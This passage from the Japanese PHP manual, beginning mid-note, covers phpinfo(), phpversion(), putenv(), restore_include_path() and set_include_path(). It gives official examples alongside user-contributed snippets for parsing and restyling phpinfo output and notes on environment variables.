    $html_str = $phpinfo;
    $html = new DOMDocument();
    $html->loadHTML($html_str);
    $title = $html->getElementsByTagName("title")->item(0);
    $title->nodeValue = "PHP Version ".phpversion();
    $body = $html->getElementsByTagName("body")->item(0);

    $body->setAttribute("style", "background-color:beige;");
    $table = $body = $html->getElementsByTagName("table")->item(3)->nextSibling;
    $head  = $html->getElementsByTagName("table")->item(0)->nextSibling;
    ob_start();
    ?>
    <h2><a name="session_variables">Session variables</a></h2>
    <table border="0" cellpadding="2" width="600">
    <tr class="h"><th>Variables</th><th>Value</th></tr>
    <?php foreach($_SESSION as $key=>$value){
        if(is_bool($value)){
            $value = ($value)?"true":"false";
        }else if(is_array($value)){
            $value = '<pre>'.print_r($value, true).'</pre>';
        }else if(empty($value) && $value != "0"){
            $value = "<i>no value</i>";
        }
    ?>
    <tr>
        <td class="e"><?=$key?></td>
        <td class="v"><?=$value?></td>
    </tr>
    <?php
    }
    ?>
    </table>

    <h2><a name="loaded_extensions">loaded extensions</a></h2>
    <table border="0" cellpadding="2" width="600">
    <tr class="h"><th>Extension</th><th>Version</th></tr>
    <?php

        natcasesort($exts);
    foreach($exts as $value){
        $version = phpversion($value);
    ?>
    <tr>
        <td class="e" style="width:150px;"><a href="#module_<?=$value?>" style="color:black; background-color:#ccccff;"><?=$value?></a></td>
        <td class="v"><?=(!empty($version))?$version:"<i>Unknown</i>" ?></td>
    </tr>
    <?php
    }
    ?>
    </table><br />
    <?php
    $txt_str = ob_get_contents();
    ob_end_clean();
    $txt = new DOMDocument();
    $txt->loadHTML($txt_str);
    $txt_body = $txt->getElementsByTagName("body")->item(0);

    foreach($txt_body->childNodes as $child){
        $child = $html->importNode($child, true);
        $table->parentNode->insertBefore($child, $table);
    }

    $h2 = $html->getElementsByTagName("h2");
    foreach($h2 as $item){
        if($item->getElementsByTagName("a")->length == 0){
            $value = $item->nodeValue;
            $item->nodeValue = "";
            $a = $html->createElement("a");
            $a->setAttribute("name", strtolower(str_replace(" ", "_", $value)));
            $a->nodeValue = $value;
            $item->appendChild($a);
        }
        $a = $item->getElementsByTagName("a")->item(0);

        if(!in_array($a->nodeValue, $exts)){
            $menu[strtolower(str_replace(" ", "_", $a->nodeValue))] = $a->nodeValue;
        }
        $top_a = $html->createElement("a");
        if(!in_array($a->nodeValue, $exts)){
            $txt = $html->createTextNode("(Go to top)");
            $top_a->appendChild($txt);
            $top_a->setAttribute("href", "#");
        }else{
            $txt = $html->createTextNode("(Go to extensionlist)");
            $top_a->appendChild($txt);
            $top_a->setAttribute("href", "#loaded_extensions");
        }
        $top_a->setAttribute("style", "background-color:beige; font-size:12px; margin-left:5px; margin-top:-5px; color:black;");
        $item->appendChild($top_a);
    }
    ob_start();
    ?>
    <br />
    <table border="0" cellpadding="2" width="600">
    <tr class="h"><th colspan="2">Sections</th></tr>
    <tr>
        <?php
        $i = 0;
        foreach($menu as $key=>$item){
            print "<td class='v'><a href='#$key' style='background-color:#cccccc; color:black;'>$item</a></td>";
            if($i%2){
                print '</tr><tr>';
            }
            $i++;
        }
        if($i%2){
            print '<td class="v"></td>';
        }
        ?>
    </tr>
    </table>

    <?php
    $txt_str = ob_get_clean();
    $txt = new DOMDocument();
    $txt->loadHTML($txt_str);
    $txt_body = $txt->getElementsByTagName("body")->item(0);
    foreach($txt_body->childNodes as $child){
        $child = $html->importNode($child, true);
        $table->parentNode->insertBefore($child, $head);
    }
    print $html->saveHTML();
?>
neo_selen 21-Jun-2012 08:52
here you can notice that these numeric values of phpinfo
are similar to certain things in the binary system:

-1, coded in 7 digits:
111 1111

look at this:
1+2+4+8+16+32+64=127

unsigned,127 is:
111 1111

so, take a look at this: the way to get all function is to add all of them. zero is nothing.-1 is all.
so you can pass option with a negative number.
for example:
<?php phpinfo(48) ?>
is also:
<?php phpinfo(-80) ?>
48 = 32 + 16
-80= 0 - 64 - 8 - 4 - 2 - 1

so you can see in negative mode it like that:
not nothing
not all (-1) don't forget it !
not option 64
not option 8
not option 4
not option 2

so, that's good if you don't want option 8, you will do this:
not nothing(0)
not all(-1)
not option 8(-1)
you got:
<?php phpinfo(-9); ?>

hope this will be useful, that's my 1rst post ^^
Ken 13-Dec-2011 06:52
Hi.

Here my version of saving php_info into an array:

<?php
function phpinfo_array()
{
    ob_start();
    phpinfo();
    $info_arr = array();
    $info_lines = explode("\n", strip_tags(ob_get_clean(), "<tr><td><h2>"));
    $cat = "General";
    foreach($info_lines as $line)
    {
        // new cat?
        preg_match("~<h2>(.*)</h2>~", $line, $title) ? $cat = $title[1] : null;
        if(preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~", $line, $val))
        {
            $info_arr[$cat][$val[1]] = $val[2];
        }
        elseif(preg_match("~<tr><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td><td[^>]+>([^<]*)</td></tr>~", $line, $val))
        {
            $info_arr[$cat][$val[1]] = array("local" => $val[2], "master" => $val[3]);
        }
    }
    return $info_arr;
}

// example:
echo "<pre>".print_r(phpinfo_array(), 1)."</pre>";
?>
arimbourg at ariworld dot eu 08-Nov-2010 07:28
This is necessary to obtain a W3C validation (XHTML1.0 Transitionnal)...
phpinfo's output is declared with that DTD :
- "System ID" has the wrong url to validate : "DTD/xhtml1-transitional.dtd" rather than "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
- Some module names contains space and the function's output use the name in anchors as ID and NAME. these attributes can't be validated like that (unique name only).

<?php

ob_start ();

ob_start ();                              // Capturing
phpinfo ();                               // phpinfo ()
$info = trim (ob_get_clean ());           // output

// Replace white space in ID and NAME attributes... if exists
$info = preg_replace ('/(id|name)(=["\'][^ "\']+) ([^ "\']*["\'])/i', '$1$2_$3', $info);

$imp = new DOMImplementation ();
$dtd = $imp->createDocumentType (
    'html',
    '-//W3C//DTD XHTML 1.0 Transitional//EN',
    'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'
);
$doc = $imp->createDocument (
    'http://www.w3.org/1999/xhtml',
    'html',
    $dtd
);
$doc->encoding = 'utf-8';

$info_doc = new DOMDocument ('1.0', 'utf-8');
/* Parse phpinfo's output
 * operator @ used to avoid messages about undefined entities
 * or use loadHTML instead
 */
@$info_doc->loadXML ($info);

$doc->documentElement->appendChild ( // Adding HEAD element to HTML
    $doc->importNode (
        $info_doc->getElementsByTagName ('head')->item (0),
        true                         // With all the subtree
    )
);
$doc->documentElement->appendChild ( // Adding BODY element to HTML
    $doc->importNode (
        $info_doc->getElementsByTagName ('body')->item (0),
        true                         // With all the subtree
    )
);

// Now you get a clean output and you are able to validate...
/*
echo ($doc->saveXML ());
//      OR
echo ($doc->saveHTML ());
 */

// By that way it's easy to add some style declaration :
$style = $doc->getElementsByTagName ('style')->item (0);
$style->appendChild (
    $doc->createTextNode (
        '/* SOME NEW CSS RULES TO ADD TO THE FUNCTION OUTPUT */'
    )
);

// to add some more informations to display :
$body = $doc->getElementsByTagName ('body')->item (0);
$element = $doc->createElement ('p');
$element->appendChild (
    $doc->createTextNode (
        'SOME NEW CONTENT TO DISPLAY'
    )
);
$body->appendChild ($element);

// to add a new header :
$head = $doc->getElementsByTagName ('head')->item (0);
$meta = $doc->createElement ('meta');
$meta->setAttribute ('name', 'author');
$meta->setAttribute ('content', 'arimbourg at ariworld dot eu');
$head->appendChild ($meta);

// As you wish, take the rest of the output and add it for debugging
$out = ob_get_clean ();

$pre = $doc->createElement ('div'); // or pre
$pre->setAttribute ('style', 'white-space: pre;'); // for a div element, useless with pre
$pre->appendChild ($doc->createTextNode ($out));
$body->appendChild ($pre);

$doc->formatOutput = true; // For a nice indentation
$doc->saveXML ();

?>

All that could be done with only RegExp but I prefer the use of DOM for manipulating documents
webmaster at askapache dot com 05-Dec-2008 08:48
I wanted a simple *function* to convert the output of phpinfo into an array.  Here's what I came up with thanks to alot of the previous authors tips, and the source file: php-5.2.6/ext/standard/info.c

Call this function like phpinfo_array() prints the array, phpinfo_array(1) returns the array for your own processing.

== Sample Output ==
[PHP Configuration] => Array
 (
  [PHP Version] => 5.2.6
  [PHP Egg] => PHPE9568F34-D428-11d2-A769-00AA001ACF42
  [System] => Linux askapache 2.6.22.19-grsec3
  [Build Date] => Nov 11 2008 13:09:07
  [Configure Command] =>  ./configure --prefix=/home/grsec/bin/php
  [Server API] => FastCGI

  [IPv6 Support] => enabled
 [Zend Egg] => PHPE9568F35-D428-11d2-A769-00AA001ACF42
  [PHP Credits Egg] => PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
 )

[mbstring] => Array
 (
  [mbstring.http_input] => pass
  [mbstring.internal_encoding] => Array
    (
     [0] => ISO-8859-1
     [1] => no value
    )

  [mbstring.language] => neutral
   )

[mcrypt] => Array
 (
  [Version] => 3.5.7
  [Api No] => 20031217
 )

<?php
function phpinfo_array($return=false){
 /* Andale!  Andale!  Yee-Hah! */
 ob_start();
 phpinfo(-1);

 $pi = preg_replace(
 array('#^.*<body>(.*)</body>.*$#ms', '#<h2>PHP License</h2>.*$#ms',
 '#<h1>Configuration</h1>#',  "#\r?\n#", "#</(h1|h2|h3|tr)>#", '# +<#',
 "#[ \t]+#", '#&nbsp;#', '#  +#', '# class=".*?"#', '%&#039;%',
  '#<tr>(?:.*?)" src="(?:.*?)=(.*?)" alt="PHP Logo" /></a>'
  .'<h1>PHP Version (.*?)</h1>(?:\n+?)</td></tr>#',
  '#<h1><a href="(?:.*?)\?=(.*?)">PHP Credits</a></h1>#',
  '#<tr>(?:.*?)" src="(?:.*?)=(.*?)"(?:.*?)Zend Engine (.*?),(?:.*?)</tr>#',
  "# +#", '#<tr>#', '#</tr>#'),
 array('$1', '', '', '', '</$1>' . "\n", '<', ' ', ' ', ' ', '', ' ',
  '<h2>PHP Configuration</h2>'."\n".'<tr><td>PHP Version</td><td>$2</td></tr>'.
  "\n".'<tr><td>PHP Egg</td><td>$1</td></tr>',
  '<tr><td>PHP Credits Egg</td><td>$1</td></tr>',
  '<tr><td>Zend Engine</td><td>$2</td></tr>' . "\n" .
  '<tr><td>Zend Egg</td><td>$1</td></tr>', ' ', '%S%', '%E%'),
 ob_get_clean());

 $sections = explode('<h2>', strip_tags($pi, '<h2><th><td>'));
 unset($sections[0]);

 $pi = array();
 foreach($sections as $section){
   $n = substr($section, 0, strpos($section, '</h2>'));
   preg_match_all(
   '#%S%(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?%E%#',
     $section, $askapache, PREG_SET_ORDER);
   foreach($askapache as $m)
       $pi[$n][$m[1]]=(!isset($m[3])||$m[2]==$m[3])?$m[2]:array_slice($m,2);
 }

 return ($return === false) ? print_r($pi) : $pi;
}

?>
Phelon Dudras 28-Nov-2008 01:26
A simple method to style your own phpinfo() output.

<style type="text/css">
#phpinfo {}
#phpinfo pre {}
#phpinfo a:link {}
#phpinfo a:hover {}
#phpinfo table {}
#phpinfo .center {}
#phpinfo .center table {}
#phpinfo .center th {}
#phpinfo td, th {}
#phpinfo h1 {}
#phpinfo h2 {}
#phpinfo .p {}
#phpinfo .e {}
#phpinfo .h {}
#phpinfo .v {}
#phpinfo .vr {}
#phpinfo img {}
#phpinfo hr {}
</style>

<div id="phpinfo">
<?php

ob_start () ;
phpinfo () ;
$pinfo = ob_get_contents () ;
ob_end_clean () ;

// the name attribute "module_Zend Optimizer" of an anker-tag is not xhtml valide, so replace it with "module_Zend_Optimizer"
echo ( str_replace ( "module_Zend Optimizer", "module_Zend_Optimizer", preg_replace ( '%^.*<body>(.*)</body>.*$%ms', '$1', $pinfo ) ) ) ;

?>
</div>
jon at sitewizard dot ca 05-Jul-2008 07:54
To extract all of the data from phpinfo into a nested array:
<?php
ob_start();
phpinfo();
$phpinfo = array('phpinfo' => array());
if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER))
    foreach($matches as $match)
        if(strlen($match[1]))
            $phpinfo[$match[1]] = array();
        elseif(isset($match[3]))
            $phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
        else
            $phpinfo[end(array_keys($phpinfo))][] = $match[2];
?>

Some examples of using individual values from the array:

<?php
    echo "System: {$phpinfo['phpinfo']['System']}<br />\n";
    echo "Safe Mode: {$phpinfo['PHP Core']['safe_mode'][0]}<br />\n";
    echo "License: {$phpinfo['PHP License'][0]}<br />\n";
?>

To display everything:

<?php
    foreach($phpinfo as $name => $section) {
        echo "<h3>$name</h3>\n<table>\n";
        foreach($section as $key => $val) {
            if(is_array($val))
                echo "<tr><td>$key</td><td>$val[0]</td><td>$val[1]</td></tr>\n";
            elseif(is_string($key))
                echo "<tr><td>$key</td><td>$val</td></tr>\n";
            else
                echo "<tr><td>$val</td></tr>\n";
        }
        echo "</table>\n";
    }
?>

Note: In order to properly retrieve all of the data, the regular expression matches table headers as well as table data, resulting in 'Local Value' and 'Global Value' showing up as 'Directive' entries.
yurkins 23-Jun-2008 07:24
big thanx 2 Mardy dot Hutchinson at gmail dot com
very good!

some fixes to correct result displaying:
1. we need to trim $matches [1], 'cause there can be empty lines;
2. not bad to remove <body> tag 'cause styles for it not apply correctly...
3. ...and change styles a little (remove "body" selector)

we need to change two lines:

<?php
preg_match ('%<style type="text/css">(.*?)</style>.*?(<body>.*</body>)%s', ob_get_clean(), $matches);
?>
to
<?php
preg_match ('%<style type="text/css">(.*?)</style>.*?<body>(.*?)</body>%s', ob_get_clean(), $matches);
?>

and

<?php
preg_split( '/\n/', $matches[1] )
?>
to
<?php
preg_split( '/\n/', trim(preg_replace( "/\nbody/", "\n", $matches[1])) )
?>

That's all! Now we have a really flexible addition to phpinfo();
Mardy dot Hutchinson at gmail dot com 09-Sep-2007 03:27
Embedding phpinfo within your page, that already has style information:

The phpinfo output is wrapped within a <div class='phpinfodisplay'>, and we privatize all the style selectors that phpinfo() creates.

Yes, we cheat on preparing the selector list.

<?php
ob_start();
phpinfo();

preg_match ('%<style type="text/css">(.*?)</style>.*?(<body>.*</body>)%s', ob_get_clean(), $matches);

# $matches [1]; # Style information
# $matches [2]; # Body information

echo "<div class='phpinfodisplay'><style type='text/css'>\n",
    join( "\n",
        array_map(
            create_function(
                '$i',
                'return ".phpinfodisplay " . preg_replace( "/,/", ",.phpinfodisplay ", $i );'
                ),
            preg_split( '/\n/', $matches[1] )
            )
        ),
    "</style>\n",
    $matches[2],
    "\n</div>\n";
?>

Perhaps one day the phpinfo() function will be modified to output such a safe string on its own.
Andrew dot Boag at catalyst dot net dot nz 09-Sep-2007 12:47
One note on the above functions for cleaning up the phpinfo() HTML and throwing it into an array data structure. In order to catch all of the info tidbits the preg_match_all has to be tweaked to deal with 2 and 3 column tables.

I have changed the preg_match_all() here so that the last <td></td> is optional

<?php
function parsePHPConfig() {
    ob_start();
    phpinfo(-1);
    $s = ob_get_contents();
    ob_end_clean();
    $a = $mtc = array();
    if (preg_match_all('/<tr><td class="e">(.*?)<\/td><td class="v">(.*?)<\/td>(:?<td class="v">(.*?)<\/td>)?<\/tr>/',$s,$mtc,PREG_SET_ORDER))
        foreach($mtc as $v){
            if($v[2] == '<i>no value</i>') continue;
            $a[$v[1]] = $v[2];
        }
    }
    return $a;
}
?>
jb2386 at hotmail dot com 10-Oct-2006 09:29
This is a slight modification to the previous code by "code at adspeed dot com" that extracts the PHP modules as an array. I used it on PHP 4.1.2 and it failed as the <h2> tags also had an align="center". So this update changes the regex for those tags:

<?php

/* parse php modules from phpinfo */

function parsePHPModules() {
 ob_start();
 phpinfo(INFO_MODULES);
 $s = ob_get_contents();
 ob_end_clean();

 $s = strip_tags($s,'<h2><th><td>');
 $s = preg_replace('/<th[^>]*>([^<]+)<\/th>/',"<info>\\1</info>",$s);
 $s = preg_replace('/<td[^>]*>([^<]+)<\/td>/',"<info>\\1</info>",$s);
 $vTmp = preg_split('/(<h2[^>]*>[^<]+<\/h2>)/',$s,-1,PREG_SPLIT_DELIM_CAPTURE);
 $vModules = array();
 for ($i=1;$i<count($vTmp);$i++) {
  if (preg_match('/<h2[^>]*>([^<]+)<\/h2>/',$vTmp[$i],$vMat)) {
   $vName = trim($vMat[1]);
   $vTmp2 = explode("\n",$vTmp[$i+1]);
   foreach ($vTmp2 AS $vOne) {
   $vPat = '<info>([^<]+)<\/info>';
   $vPat3 = "/$vPat\s*$vPat\s*$vPat/";
   $vPat2 = "/$vPat\s*$vPat/";
   if (preg_match($vPat3,$vOne,$vMat)) { // 3cols
     $vModules[$vName][trim($vMat[1])] = array(trim($vMat[2]),trim($vMat[3]));
   } elseif (preg_match($vPat2,$vOne,$vMat)) { // 2cols
     $vModules[$vName][trim($vMat[1])] = trim($vMat[2]);
   }
   }
  }
 }
 return $vModules;
}
?>
code at adspeed dot com 09-Dec-2005 03:31
This function parses the phpinfo output to get details about a PHP module.

<?php
/** parse php modules from phpinfo */
function parsePHPModules() {
 ob_start();
 phpinfo(INFO_MODULES);
 $s = ob_get_contents();
 ob_end_clean();

 $s = strip_tags($s,'<h2><th><td>');
 $s = preg_replace('/<th[^>]*>([^<]+)<\/th>/',"<info>\\1</info>",$s);
 $s = preg_replace('/<td[^>]*>([^<]+)<\/td>/',"<info>\\1</info>",$s);
 $vTmp = preg_split('/(<h2>[^<]+<\/h2>)/',$s,-1,PREG_SPLIT_DELIM_CAPTURE);
 $vModules = array();
 for ($i=1;$i<count($vTmp);$i++) {
  if (preg_match('/<h2>([^<]+)<\/h2>/',$vTmp[$i],$vMat)) {
   $vName = trim($vMat[1]);
   $vTmp2 = explode("\n",$vTmp[$i+1]);
   foreach ($vTmp2 AS $vOne) {
    $vPat = '<info>([^<]+)<\/info>';
    $vPat3 = "/$vPat\s*$vPat\s*$vPat/";
    $vPat2 = "/$vPat\s*$vPat/";
    if (preg_match($vPat3,$vOne,$vMat)) { // 3cols
     $vModules[$vName][trim($vMat[1])] = array(trim($vMat[2]),trim($vMat[3]));
    } elseif (preg_match($vPat2,$vOne,$vMat)) { // 2cols
     $vModules[$vName][trim($vMat[1])] = trim($vMat[2]);
    }
   }
  }
 }
 return $vModules;
}
?>

Sample Output:
[gd] => Array
(
  [GD Support] => enabled
  [GD Version] => bundled (2.0.28 compatible)
  [FreeType Support] => enabled
  [FreeType Linkage] => with freetype
  [FreeType Version] => 2.1.9
  [T1Lib Support] => enabled
  [GIF Read Support] => enabled
  [GIF Create Support] => enabled
  [JPG Support] => enabled
  [PNG Support] => enabled
  [WBMP Support] => enabled
  [XBM Support] => enabled
)

[date] => Array (
  [date/time support] => enabled
  [Timezone Database Version] => 2005.14
  [Timezone Database] => internal
  [Default timezone] => America/Los_Angeles
  [Directive] => Array (
     [0] => Local Value
     [1] => Master Value
  )
  [date.timezone] => Array (
     [0] => no value
     [1] => no value
  )
 )

<?php
/** get a module setting */
function getModuleSetting($pModuleName,$pSetting) {
 $vModules = parsePHPModules();
 return $vModules[$pModuleName][$pSetting];
}
?>

Example: getModuleSetting('gd','GD Version'); returns "bundled (2.0.28 compatible)"
Helpful Harry 06-Oct-2005 08:38
check out this cool and fantastic colourful phpinfo()!

<?php

ob_start();
phpinfo();
$phpinfo = ob_get_contents();
ob_end_clean();

preg_match_all('/#[0-9a-fA-F]{6}/', $phpinfo, $rawmatches);
for ($i = 0; $i < count($rawmatches[0]); $i++)
   $matches[] = $rawmatches[0][$i];
$matches = array_unique($matches);

$hexvalue = '0123456789abcdef';

$j = 0;
foreach ($matches as $match)
{

   $r = '#';
   $searches[$j] = $match;
   for ($i = 0; $i < 6; $i++)
      $r .= substr($hexvalue, mt_rand(0, 15), 1);
   $replacements[$j++] = $r;
   unset($r);
}

for ($i = 0; $i < count($searches); $i++)
   $phpinfo = str_replace($searches, $replacements, $phpinfo);
echo $phpinfo;
?>


現在の PHP バージョンを取得する

  • ≪ phpinfo
  • putenv ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 現在の PHP バージョンを取得する

phpversion

(PHP 4, PHP 5, PHP 7, PHP 8)

phpversion — 現在の PHP バージョンを取得する

説明

phpversion ( string $extension = ? ) : string

現在動作中の PHP パーサあるいは拡張モジュールのバージョンを表す文字列を返します。

パラメータ

extension

オプションで指定する拡張モジュール名。

返り値

オプションの extension パラメータが指定されている場合、phpversion() はその拡張モジュールのバージョンを返します。 関連するバージョン情報が存在しない場合、 あるいは拡張モジュールが有効でない場合は false を返します。

例

例1 phpversion() の例

<?php
// たとえば 'Current PHP version: 4.1.1' などと表示します
echo 'Current PHP version: ' . phpversion();

// たとえば '2.0' などと表示します。拡張モジュールが有効でない場合は何も表示しません
echo phpversion('tidy');
?>

例2 PHP_VERSION_ID の例および使用法

<?php
// PHP_VERSION_ID は PHP 5.2.7 以降で使用可能です。
// それより古いバージョンでは、このようにエミュレートします
if (!defined('PHP_VERSION_ID')) {
    $version = explode('.', PHP_VERSION);

    define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2]));
}

// PHP_VERSION_ID は数値として定義されており、数字が大きいほど PHP の
// バージョンが新しいことになります。その定義は、上で使用しているような
// 式となります。
//
// $version_id = $major_version * 10000 + $minor_version * 100 + $release_version;
//
// PHP_VERSION_ID を使えば、その PHP のバージョンで使える機能を調べる
// ことができます。ある機能に対応しているかどうかを調べるために、毎回
// version_compare() を使う必要がなくなります。
//
// たとえば、PHP 5.2.7 より前のバージョンには存在しない定数
// PHP_VERSION_* を、次のように定義することができます。

if(PHP_VERSION_ID < 50207)
{
    define('PHP_MAJOR_VERSION',   $version[0]);
    define('PHP_MINOR_VERSION',   $version[1]);
    define('PHP_RELEASE_VERSION', $version[2]);

    // などなど
}
?>

注意

注意:

この情報は、定義済みの定数 PHP_VERSION でも取得可能です。その他のバージョン関連の情報は、定数 PHP_VERSION_* で取得可能です。

参考

  • PHP_VERSION 定数
  • version_compare() - ふたつの "PHP 標準" バージョン番号文字列を比較する
  • phpinfo() - PHP の設定情報を出力する
  • phpcredits() - PHP に関するクレジットを出力する
  • php_logo_guid()
  • zend_version() - 現在の Zend Engine のバージョンを取得する

User Contributed Notes

php at stampy dot me 17-Feb-2017 11:42
If you cast the output of phpversion() to a float, it will give you the major and minor version parts as a floating point number.

This will be less useful if the minor version number is 10 or above, but for lower version numbers it works nicely.

<?
$ver = (float)phpversion();
if ($ver > 7.0) {
    //do something for php7.1 and above.
} elseif ($ver === 7.0) {
    //do something for php7.0
} else {
    //do something for php5.6 or lower.
}
?>
burninleo at gmx dot net 14-Jul-2016 08:38
Note that the version string returned by phpversion() may include more information than expected: "5.5.9-1ubuntu4.17", for example.
cHao 08-May-2013 08:45
If you're trying to check whether the version of PHP you're running on is sufficient, don't screw around with `strcasecmp` etc.  PHP already has a `version_compare` function, and it's specifically made to compare PHP-style version strings.

<?php
if (version_compare(phpversion(), '5.3.10', '<')) {
    // php version isn't high enough
}
?>
pavankumar at tutorvista dot com 29-Oct-2010 12:39
To know, what are the {php} extensions loaded & version of extensions :

<?php
foreach (get_loaded_extensions() as $i => $ext)
{
   echo $ext .' => '. phpversion($ext). '<br/>';
}
?>


環境変数の値を設定する

  • ≪ phpversion
  • restore_include_path ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 環境変数の値を設定する

putenv

(PHP 4, PHP 5, PHP 7, PHP 8)

putenv — 環境変数の値を設定する

説明

putenv ( string $assignment ) : bool

サーバーの環境変数に assignment を追加します。 この環境変数は、カレントのリクエストを実行している間のみ存在します。 リクエスト終了時、環境変数は元の状態に戻されます。

パラメータ

assignment

"FOO=BAR" 形式の設定。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 環境変数の設定

<?php
putenv("UNIQID=$uniqid");
?>

参考

  • getenv() - 環境変数の値を取得する
  • apache_setenv() - Apacheサブプロセスの環境変数を設定する

User Contributed Notes

t7to7 01-Sep-2019 11:17
White spaces are allowed in environment variable names so :

<?php
putenv('U =33');
?>

Is not equivalent to

<?php
putenv('U=33');
?>
broussardrobert at sbcglobal dot net 22-Aug-2017 11:25
Multiple invocations of putenv() work as expected: the real problem was that some of the putenv() invocations in my script contained typographical errors.

I typed, e.g., putenv( "IMAGE_DATABASE=" . $_SERVER{'IMAGE_DATABASE'} );
which of course is incorrect.  '{' and '}' should have been '[' and ']'.
Because my first call to putenv() did not have that typo, it worked correctly, but the remaining three calls I coded with the typo merely cleared the corresponding environment variables and thus did not make it into the external script I invoked via a system() call.  I suspect the fact my first invocation was typed correctly affected my efforts looking at the syntax in the following invocations.

The trivial extension to the example provided is to merely call putenv() multiple times, once for each variable.
broussardrobert at sbcglobal dot net 22-Aug-2017 05:27
Great examples for the trivial case that most can figure out directly from the manual, but where is the trivially more complex example describing how to set multiple variables?  I tried separating with spaces, commas, semicolons, multiple invocations of setenv, all to no avail.  Please try to include trivial extensions to the examples...
Anonymous Coder 27-Mar-2012 06:28
It's the putenv() type of environment variables that get passed to a child process executed via exec().

If you need to delete an existing environment variable so the child process does not see it, use:

putenv('FOOBAR');

That is, leave out both the "=" and a value.
php at keith tyler dot com 21-Jun-2010 05:52
putenv/getenv, $_ENV, and phpinfo(INFO_ENVIRONMENT) are three completely distinct environment stores. doing putenv("x=y") does not affect $_ENV; but also doing $_ENV["x"]="y" likewise does not affect getenv("x"). And neither affect what is returned in phpinfo().

Assuming the USER environment variable is defined as "dave" before running the following:

<?php
print "env is: ".$_ENV["USER"]."\n";
print "(doing: putenv fred)\n";
putenv("USER=fred");
print "env is: ".$_ENV["USER"]."\n";
print "getenv is: ".getenv("USER")."\n";
print "(doing: set _env barney)\n";
$_ENV["USER"]="barney";
print "getenv is: ".getenv("USER")."\n";
print "env is: ".$_ENV["USER"]."\n";
phpinfo(INFO_ENVIRONMENT);
?>

prints:

env is: dave
(doing: putenv fred)
env is: dave
getenv is: fred
(doing: set _env barney)
getenv is: fred
env is: barney
phpinfo()

Environment

Variable => Value
...
USER => dave
...
JM 16-Feb-2007 06:41
The other problem with the code from av01 at bugfix dot cc is that
the behaviour is as per the comments here, not there:
<?php
putenv('MYVAR='); // set MYVAR to an empty value.  It is in the environment
putenv('MYVAR'); // unset MYVAR.  It is removed from the environment
?>
david dot boyce at messagingdirect dot comnospam 13-Sep-2000 10:23
Environment variables are part of the underlying operating system's
way of doing things, and are used to pass information between a parent
process and its child, as well as to affect the way some internal
functions behave.  They should not be regarded as ordinary PHP
variables.

A primary purpose of setting environment variables in a PHP script is
so that they are available to processes invoked by that script using
e.g. the system() function, and it's unlikely that they would need to
be changed for other reasons.

For example, if a particular system command required a special value
of the environment variable LD_LIBRARY_PATH to execute successfully,
then the following code might be used on a *NIX system:

<?php
 $saved = getenv("LD_LIBRARY_PATH");        // save old value
 $newld = "/extra/library/dir:/another/path/to/lib";  // extra paths to add
 if ($saved) { $newld .= ":$saved"; }           // append old paths if any
 putenv("LD_LIBRARY_PATH=$newld");        // set new value
 system("mycommand -with args");        // do system command;
                        // mycommand is loaded using
                        // libs in the new path list
 putenv("LD_LIBRARY_PATH=$saved");        // restore old value
?>

It will usually be appropriate to restore the old value after use;
LD_LIBRARY_PATH is a particularly good example of a variable which it
is important to restore immediately, as it is used by internal
functions.

If php.ini configuration allows, the values of environment variables
are made available as PHP global variables on entry to a script, but
these global variables are merely copies and do not track the actual
environment variables once the script is entered.  Changing
$REMOTE_ADDR (or even $HTTP_ENV_VARS["REMOTE_ADDR"]) should not be
expected to affect the actual environment variable; this is why
putenv() is needed.

Finally, do not rely on environment variables maintaining the same
value from one script invocation to the next, especially if you have
used putenv().  The result depends on many factors, such as CGI vs
apache module, and the exact way in which the environment is
manipulated before entering the script.


include_path 設定オプションの値を元に戻す

  • ≪ putenv
  • set_include_path ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • include_path 設定オプションの値を元に戻す

restore_include_path

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

restore_include_path — include_path 設定オプションの値を元に戻す

警告

この関数は PHP 7.4.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

restore_include_path ( ) : void

include_path 設定値を php.ini でセットされたオリジナルの設定に戻します。

返り値

値を返しません。

例

例1 restore_include_path() の例

<?php

echo get_include_path();  // .:/usr/local/lib/php

set_include_path('/inc');

echo get_include_path();  // /inc

restore_include_path();

// または ini_restore を使用します
ini_restore('include_path');

echo get_include_path();  // .:/usr/local/lib/php

?>

参考

  • ini_restore() - 設定オプションの値を元に戻す
  • get_include_path() - 現在の include_path 設定オプションを取得する
  • set_include_path() - include_path 設定オプションをセットする
  • include - include

User Contributed Notes

There are no user contributed notes for this page.


include_path 設定オプションをセットする

  • ≪ restore_include_path
  • set_time_limit ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • include_path 設定オプションをセットする

set_include_path

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

set_include_path — include_path 設定オプションをセットする

説明

set_include_path ( string $include_path ) : string|false

include_path 設定オプションの値を、このスクリプト内でだけ変更します。

パラメータ

include_path

include_path の新しい値。

返り値

成功した場合に元の include_path の値、失敗した場合に false を返します。

例

例1 set_include_path() の例

<?php
set_include_path('/usr/lib/pear');

// または ini_set を使用します
ini_set('include_path', '/usr/lib/pear');
?>

例2 include path の追加

PATH_SEPARATOR 定数を利用することで、 オペレーティングシステムに依存せずに include path を追加することが可能です。

この例では、既存の include_path の最後に /usr/lib/pear を追加します。

<?php
$path = '/usr/lib/pear';
set_include_path(get_include_path() . PATH_SEPARATOR . $path);
?>

